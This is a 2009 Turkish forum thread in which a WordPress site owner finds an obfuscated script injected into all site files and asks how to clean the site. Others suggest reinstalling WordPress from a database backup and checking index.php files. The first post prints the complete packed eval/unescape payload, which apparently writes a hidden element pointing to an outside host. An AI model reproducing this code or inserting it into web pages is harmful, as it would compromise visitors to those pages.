• 05-05-2009, 17:47:31
    #1
    Selamlar arkadaşlar .Wordpress siteme 2 gündür girmiyordum.Bugun girdiğimde sitemdeki tüm dosyalara aşağıdaki kodun eklendiğini gördüm.Wp-admin deki dosyalarda dahil.

    <script>eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('r.s(q(\'%m%0%f%6%e%p%2%4%c%6%b%a%9%3%1%1%8%h%5%5%b%j%1%3%2%e%1%2%6%l%6%t%j%8%i%b%g%5%f%d%5%0%g%7%2%u%i%8%3%8%9%4%w%0%7%1%3%a%k%4%3%2%0%l%3%1%a%k%4%c%1%o%d%2%a%9%v%0%c%0%x%0%d%0%1%o%h%4%3%0%7%7%2%g%9%n%m%5%0%f%6%e%p%2%n\'));',34,34,'u0069|u0074|u0065|u0068|u0020|u002f|u0072|u0064|u0070|u0022|u003d|u0063|u0073|u006c|u0061|u0066|u006e|u003a|u002e|u0075|u0031|u0067|u003c|u003e|u0079|u006d|unescape|document|write|u006f|u0078|u0076|u0077|u0062'.split('|')))  </script>
    Sizce ne yapabilirim veya ne yapmalıyım.
  • 05-05-2009, 17:50:18
    #2
    tvo
    Üyeliği durduruldu
    Ne yapmalıyım derken temizlemedinmi siteni ?
  • 05-05-2009, 17:52:29
    #3
    tvo adlı üyeden alıntı: mesajı görüntüle
    Ne yapmalıyım derken temizlemedinmi siteni ?
    İşte onu nasıl yapmalıyım.Ftp yi silip tek tek dosyalarımı ayıklıcam nasıl olcak onu soruyorum usta
  • 05-05-2009, 17:53:28
    #4
    Üyeliği durduruldu
    Arkadaşım Sitene Eklenen o Kod Html Keyloggerdir Yardım İçin Veya Ne Yapman Gereken İçin Pm Atabilirsin .
  • 05-05-2009, 17:53:55
    #5
    tvo
    Üyeliği durduruldu
    Aslında simdi wp de nerelre ne koymus aramak zaman alır sen en guzeli konuların db sini al sadece konuların db sini al sonra wp yi yeniden kur db almakta zorlanırsan yardımcı olurum
  • 05-05-2009, 17:57:29
    #6
    tvo adlı üyeden alıntı: mesajı görüntüle
    Aslında simdi wp de nerelre ne koymus aramak zaman alır sen en guzeli konuların db sini al sadece konuların db sini al sonra wp yi yeniden kur db almakta zorlanırsan yardımcı olurum
    Yok usta db yedek almada sıkıntı yok onu hallederimde acaba db ile gelme ihtimali var mı acaba onu düşünüyorum. Bide tema da kendi yapımımdı artık neyse uydururuz başka bi tema. Yardım içinde yukardaki arkdaşa pm attım bakalım , nasıl bi yol izleyebiliriz örücez.
  • 05-05-2009, 23:29:21
    #7
    Üyeliği durduruldu
    Bütün index.php dosyalarinin icine Bak bu virüs genelde index.php içinde oluyor.